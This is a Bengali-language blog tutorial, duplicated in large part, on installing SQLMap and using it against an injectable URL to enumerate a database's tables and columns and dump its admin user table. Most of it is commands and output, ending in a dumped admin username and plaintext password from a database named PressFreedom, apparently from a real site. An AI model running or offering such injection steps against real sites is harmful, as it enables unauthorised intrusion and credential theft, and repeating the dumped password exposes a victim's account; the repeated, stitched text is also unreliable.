SQLMap একটি ওপেন সোর্স Penetration Testing টুল ।
ব্যাকট্রাক এবং ব্যাকবক্স অপারেটিং সিস্টেম এ এটি দেয়াই থাকে । এই অপারেটিং সিস্টেম ছাড়াও অন্য ওস এ এটি চালাতে পারবেন তবে তা ম্যানুয়ালি ডাউনলোড করে নিতে হবে ।
ডাউনলোড করার জন্য Synaptic manager download করে নিতে হবে , এরপর
এই ফাইলটি ডাউনলোড করে extract করুন ।
Extracted ফোল্ডারের মধ্যে backtrack-tools নামে একটি ফাইল পাবেন , সেটি terminal এ রান করুন ।
ফাইলটি executable করতে প্রথমে ফাইলটির properties এ যান ।
permission tab এ click করুন এবার Execute এর ঘরে টিক দিয়ে ক্লোজ করুন ।
এখন ফাইলটিতে double ক্লিক করুন Run in Terminal সিলেক্ট করুন ।
ফাইলটি terminal এ রান হবে ( password চাইলে password দিন )
backtrack এর সব রিপু আপডেট হয়ে যাবে :D
এবার synaptic package manager ইন্সটল করা না থাকলে Software Center থেকে ইন্সটল করুন ।
synaptic package manager রান করুন ।
এখন সার্চ অপশন এ sqlmap লিখে সার্চ করুন । sqlmap পেয়ে যাবেন । ইন্সটল করুন ।
ইন্সটল শেষে টার্মিনাল ওপেন করে টাইপ করুন
cd /opt/pentest/sqlmap [ sqlmap ফোল্ডারে যাওয়ার জন্য , আপনার sqlmap ফোল্ডার ভিন্ন হলে root ফোল্ডারে pentest এর মদ্ধে খুঁজে দেখুন , তারপর cd ফোল্ডার পাথ লিখুন ]
এরপর ধরি আমরা www.example.com/ads.php?id=50 এই লিঙ্কটি টেস্ট করবো ।
ব্যাকট্রাক এবং ব্যাকবক্স অপারেটিং সিস্টেম এ এটি দেয়াই থাকে । এই অপারেটিং সিস্টেম ছাড়াও অন্য ওস এ এটি চালাতে পারবেন তবে তা ম্যানুয়ালি ডাউনলোড করে নিতে হবে ।
ডাউনলোড করার জন্য Synaptic manager download করে নিতে হবে , এরপর
এই ফাইলটি ডাউনলোড করে extract করুন ।
Extracted ফোল্ডারের মধ্যে backtrack-tools নামে একটি ফাইল পাবেন , সেটি terminal এ রান করুন ।
ফাইলটি executable করতে প্রথমে ফাইলটির properties এ যান ।
permission tab এ click করুন এবার Execute এর ঘরে টিক দিয়ে ক্লোজ করুন ।
এখন ফাইলটিতে double ক্লিক করুন Run in Terminal সিলেক্ট করুন ।
ফাইলটি terminal এ রান হবে ( password চাইলে password দিন )
backtrack এর সব রিপু আপডেট হয়ে যাবে :D
এবার synaptic package manager ইন্সটল করা না থাকলে Software Center থেকে ইন্সটল করুন ।
synaptic package manager রান করুন ।
এখন সার্চ অপশন এ sqlmap লিখে সার্চ করুন । sqlmap পেয়ে যাবেন । ইন্সটল করুন ।
ইন্সটল শেষে টার্মিনাল ওপেন করে টাইপ করুন
cd /opt/pentest/sqlmap [ sqlmap ফোল্ডারে যাওয়ার জন্য , আপনার sqlmap ফোল্ডার ভিন্ন হলে root ফোল্ডারে pentest এর মদ্ধে খুঁজে দেখুন , তারপর cd ফোল্ডার পাথ লিখুন ]
এরপর ধরি আমরা www.example.com/ads.php?id=50 এই লিঙ্কটি টেস্ট করবো ।
এই জন্য এক এক করে নিচের কোড গুলো দেখি ...
python sqlmap.py -u www.example.com/ads.php?id=50
যদি লিঙ্কটি vulnerable হয়
current database বের করবো
python ./sqlmap.py -u www.example.com/ads.php?id=50 --current-db
ধরি current database পেলাম PressFreedom
এবার বের করতে হবে tables
python ./sqlmap.py -u www.example.com/ads.php?id=50 --tables -D PressFreedom
Result :
Database: PressFreedom
[29 tables]
+--------------------+
| Access_Contents |
| Articles |
| Back_Groups |
| Back_Users_Groups |
| Back_users |
| Calendars |
| Conferences |
| Download_users |
| Faqs |
| Files |
| Front_Groups |
| Front_Users_Groups |
| Front_users |
| Journalistes |
| Links |
| ListParticipants |
| Listphotos |
| Log |
| Newsletters |
| Pages_to_Pages |
| Pays |
| Photos |
| Protest |
| Rubriques_Pages |
| Templates |
| langues |
| pagecontents |
| pages |
| rubriques |
+--------------------+
টেবিল গুলো পেয়ে গেলেন । এবার এডমিন টেবিল অনুমান করে তা থেকে এডমিন তথ্য বের করতে হবে ।
মনে করি Back_users টেবিলে এডমিন ইনফো যেমন, এডমিন ইউজারনাম, পাসওয়ার্ড , ইমেইল ইত্যাদি আছে ।
python ./sqlmap.py -u www.example.com/ads.php?id=50 --columns -T Back_users -D PressFreedom
Result :
Database: PressFreedom
Table: Back_users
[17 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| BUSER_CP | varchar(20) |
| BUSER_EMAIL | varchar(255) |
| BUSER_FAX | varchar(20) |
| BUSER_FONCTION | varchar(100) |
| BUSER_LOGIN | varchar(255) |
| BUSER_NOM | varchar(255) |
| BUSER_PASSWD | varchar(255) |
| BUSER_PAYS | varchar(200) |
| BUSER_PRENOM | varchar(255) |
| BUSER_RUE | varchar(255) |
| BUSER_SOCIETE | varchar(255) |
| BUSER_TEL | varchar(20) |
| BUSER_VILLE | varchar(255) |
| BUSER_WEBSITE | varchar(255) |
| ID_BUSER | bigint(20) |
| ID_WAN | varchar(20) |
| LOGIN_OK | char(1) |
+----------------+--------------+
এখন কলাম থেকে তথ্য বের ক নিচের মত করে লিখব...
python ./sqlmap.py -u www.example.com/ads.php?id=50 --columns -T Back_users -D PressFreedom --dump
এতে সব এডমিন তথ্য বের হয়ে আসবে ...
Database: PressFreedom
Table: Back_users
[1 entry]
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+- ------------+-------------+-------------+--------------------+--------------+---------------+------------ ---+----------------+
| ID_WAN | ID_BUSER | LOGIN_OK | BUSER_CP | BUSER_RUE | BUSER_FAX | BUSER_TEL | BUSER_NOM | BUSER_PAYS | BUSER_EMAIL | BUSER_LOGIN | BUSER_VILLE | BUSER_PASSWD | BUSER_PRENOM | BUSER_SOCIETE | BUSER_WEBSITE | BUSER_FONCTION |
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+- ------------+-------------+-------------+--------------------+--------------+---------------+------------ ---+----------------+
| ShiTao | 1 | 1 | NULL | NULL | NULL | NULL | <blank> | NULL | NULL | ShiTao | NULL | press07!freedom20$ | <blank> | NULL | NULL | NULL |
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+- ------------+-------------+-------------+--------------------+--------------+---------------+------------ ---+----------------+
python sqlmap.py -u www.example.com/ads.php?id=50
যদি লিঙ্কটি vulnerable হয়
current database বের করবো
python ./sqlmap.py -u www.example.com/ads.php?id=50 --current-db
ধরি current database পেলাম PressFreedom
এবার বের করতে হবে tables
python ./sqlmap.py -u www.example.com/ads.php?id=50 --tables -D PressFreedom
Result :
Database: PressFreedom
[29 tables]
+--------------------+
| Access_Contents |
| Articles |
| Back_Groups |
| Back_Users_Groups |
| Back_users |
| Calendars |
| Conferences |
| Download_users |
| Faqs |
| Files |
| Front_Groups |
| Front_Users_Groups |
| Front_users |
| Journalistes |
| Links |
| ListParticipants |
| Listphotos |
| Log |
| Newsletters |
| Pages_to_Pages |
| Pays |
| Photos |
| Protest |
| Rubriques_Pages |
| Templates |
| langues |
| pagecontents |
| pages |
| rubriques |
+--------------------+
টেবিল গুলো পেয়ে গেলেন । এবার এডমিন টেবিল অনুমান করে তা থেকে এডমিন তথ্য বের করতে হবে ।
মনে করি Back_users টেবিলে এডমিন ইনফো যেমন, এডমিন ইউজারনাম, পাসওয়ার্ড , ইমেইল ইত্যাদি আছে ।
python ./sqlmap.py -u www.example.com/ads.php?id=50 --columns -T Back_users -D PressFreedom
Result :
Database: PressFreedom
Table: Back_users
[17 columns]
+----------------+--------------+
| Column | Type |
+----------------+--------------+
| BUSER_CP | varchar(20) |
| BUSER_EMAIL | varchar(255) |
| BUSER_FAX | varchar(20) |
| BUSER_FONCTION | varchar(100) |
| BUSER_LOGIN | varchar(255) |
| BUSER_NOM | varchar(255) |
| BUSER_PASSWD | varchar(255) |
| BUSER_PAYS | varchar(200) |
| BUSER_PRENOM | varchar(255) |
| BUSER_RUE | varchar(255) |
| BUSER_SOCIETE | varchar(255) |
| BUSER_TEL | varchar(20) |
| BUSER_VILLE | varchar(255) |
| BUSER_WEBSITE | varchar(255) |
| ID_BUSER | bigint(20) |
| ID_WAN | varchar(20) |
| LOGIN_OK | char(1) |
+----------------+--------------+
এখন কলাম থেকে তথ্য বের ক নিচের মত করে লিখব...
python ./sqlmap.py -u www.example.com/ads.php?id=50 --columns -T Back_users -D PressFreedom --dump
এতে সব এডমিন তথ্য বের হয়ে আসবে ...
Database: PressFreedom
Table: Back_users
[1 entry]
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+-
| ID_WAN | ID_BUSER | LOGIN_OK | BUSER_CP | BUSER_RUE | BUSER_FAX | BUSER_TEL | BUSER_NOM | BUSER_PAYS | BUSER_EMAIL | BUSER_LOGIN | BUSER_VILLE | BUSER_PASSWD | BUSER_PRENOM | BUSER_SOCIETE | BUSER_WEBSITE | BUSER_FONCTION |
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+-
| ShiTao | 1 | 1 | NULL | NULL | NULL | NULL | <blank> | NULL | NULL | ShiTao | NULL | press07!freedom20$ | <blank> | NULL | NULL | NULL |
+--------+----------+----------+----------+-----------+-----------+-----------+-----------+------------+-
ConversionConversion EmoticonEmoticon